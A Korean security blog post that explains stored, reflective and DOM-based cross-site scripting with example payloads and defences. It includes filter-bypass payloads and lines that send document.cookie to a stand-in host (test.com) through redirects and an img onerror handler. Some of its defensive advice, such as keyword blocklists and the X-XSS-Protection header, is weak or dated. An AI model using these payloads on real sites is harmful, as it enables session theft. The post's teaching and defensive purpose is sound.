ITSTEIN
웹 해킹 / XSS / Cross Site Scripting 본문
웹 해킹에서 간단하면서도 자주 이용되는 XSS에 대해서 알아보겠다.
1. XSS (Cross Site Scripting)
- 웹 상에서 많이 이용되는 해킹 방법
- 해커가 공격 목표가 되는 사이트에 악성 스크립트를 넣어서 해킹 하는 기법
- 악성 스크립트가 삽입되면, 일반 사용자가 사이트에 접속시 해당 스크립트가 실행되어, 사용자가 모르는 사이에 해킹을 위한 행동을 하게되거나, 쿠키나 세션토큰등 민감한 정보를 탈취한다. (세션토큰은 탈취해서 세션 하이재킹등의 공격에 이용될수 있다.)
2. XSS의 종류
* Stored XSS
- 해커는 데이터 베이스에 악의적인 스크립트를 저장하고, 사용자의 브라우저에서 해당 스크립트가 실행되어 공격
- DB에 데이터를 저장할때, 스크립트등을 필터하지 않고 그대로 저장하는 경우.. XSS 공격 취약점이 생김.
- 서비스의 종류에 따라서, DB에 html, script등의 코드를 저장하는 경우도 있는데. XSS 공격에 특히 주의 해야한다.
- 게시판에 악성 스크립트가 포함된 글을 쓰거나, 사용자 정보(이름, 이메일, 별명등..)을 스크립트로 입력하고. 해당 정보가 웹페이지에 아무런 필터링 없이 그대로 노출될때...스크립트가 실행됨.
* Reflective XSS
- 사용자로부터 입력받은 파라미터를 다시 사용자에게 전달 하였을때, 스크립트가 실행되어 공격
- 사용자에게 악성 스크립트가 포함된 url을 클릭하도록 유도하여, 해당 스크립트가 다시 사용자에게 반사되어 스트립트가 실행.
- 스크립트부분을 인코딩하여 url을 생성하기 때문에, 일반 사용자는 공격을 알아차릴수 없음.
- 이메일, 게시판등에 스크립트가 포함된 url링크를 통해서 공격
- 악성 스크립트가 포함된 url을 일반 사용자에게 노출시켜 클릭을 유도한다.
- 이상한 사이트에 접속되고, 악성 프로그램이 설치됨.
* DOM XSS
- DOM (Document Object Model) html 및 xml의 문서 객체 모델
- 공격 스크립트가 서버를 거치지 않고, 바로 페이지에서 조작되어서 공격에 이용.
- stored xss, reflective xss는 서버측의 취약점으로 해킹공격이 되는 반면, dom xss는 서버와 관계없이 브라우저 상에서만 이루어 진다.
- javascript에서 DOM을 조작하는 경우, 조작되는 값을 이용해서 악성스크립트 공격
3. XSS 공격 예제 및 우회 공격
* <span>${userName}</script>
${userName} = <script>alert(document.cookie)</script>
* <input type="hidden" name="userName" value="${userName}">
${userName} = 홍길동"> <script>alert(document.cookie)</script>
* <input type="text" name="searchText" value="${searchText}">
xss방어가 허술한 reflective.jsp의 파라미터에 스크립트를 담아서 링크 주소를 생성.
${searchText} = test"><script>document.location='http://test.com/cookie/store?cookie=' + encodeURIComponent(document.cookie);</script>
* <script></script>만을 필터링 했을경우
- html 코드를 이용한 우회 공격
- ${userName} = <iframe src=javascript:alert(document.cookie)>
- ${userName} = <img src="no" onerror=javascript:alert(document.cookie)>
- ${content} = <img src="#" width="0" height="0" onerror="this.src='http://test.com/cookie/store?cookie='+encodeURIComponent(document.cookie);" />
* xss dom 공격
- url의 일부를 html에서 사용하는 경우 공격 위험이 있음
<html>
<head>
<title>Custom Dashboard </title>
...
</head>
Main Dashboard for
<script>
var pos=document.URL.indexOf("context=")+8;
document.write(document.URL.substring(pos,document.URL.length));
</script>
...
</html>
http://www.example.com/userdashboard.jsp?context=<script>alert(document.cookie);</script>
http://www.example.com/userdashboard.jsp#context=<script>alert(document.cookie);</script>
http://www.example.com/userdashboard.jsp?context=테스트입니다.#<script>alert(document.cookie);</script>
<script>
document.write("<b>Current URL</b> : " + document.baseURI);
</script>
http://www.example.com/test.jsp#<script>alert(document.cookie)</script>
4. XSS 방어 방법
* 서버단에 특정 문자에 대한 필터링 처리
- <script></script>
- document.cookie
- javascript:
- <
- >
- ... 기타 등등..
* 클라이언트단에 xss 필터링 처리
- jstl 사용
<c:out value="${userName}" escapeXml="true" />
${fn:escapeXml(name)}
- javascript의 xss 필터링 함수사용.
* 웹서버에 'x-xss-protection' 헤더 추가.
- IE, Chrome, Safari등의 브라우저에 포함된 내장 필터를 이용해서, reflective xss 공격 방어.
- url에 xss 공격문자열을 필터링 한다.
'WEB' 카테고리의 다른 글
웹해킹 / SQL INJECTION (0) | 2017.07.25 |
---|